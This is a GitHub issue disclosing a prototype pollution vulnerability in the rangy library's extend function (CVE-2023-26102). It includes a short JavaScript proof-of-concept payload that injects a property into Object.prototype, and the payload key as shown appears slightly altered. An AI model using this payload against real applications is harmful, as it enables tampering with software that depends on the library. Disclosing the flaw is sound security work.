Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Prototype pollution in function extend in the file rangy-core.js #478

Closed
lelecolacola123 opened this issue Dec 19, 2022 · 2 comments
Closed

Comments

@lelecolacola123
Copy link

Affected versions of this package are vulnerable to Prototype Pollution. Rangy runs the risk of Prototype Pollution when using the function extend in file rangy-core.js.The function use recursive mergelead an attacker to modify properties of the Object.prototype.the risk locate is in here:

obj[i] = p;

extend(o, p, true);

and the POC is as follow:
var rangy= require("rangy")
BAD_JSON = JSON.parse('{"proto":{"test":123}}');
console.log({}.test) //undefined
rangy.util.extend({},BAD_JSON,{})
console.log({}.test) //"123"

@anlesk
Copy link

anlesk commented Feb 24, 2023

This one got closed, but pops up in the CVE reports: https://nvd.nist.gov/vuln/detail/CVE-2023-26102
With no fix available. Was it actually got fixed or the CVE report is incorrect?
cc: @timdown @lelecolacola123

@lelecolacola123
Copy link
Author

Hi, the problem is still there, please fix it, if you need ,i will reopen the issue

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants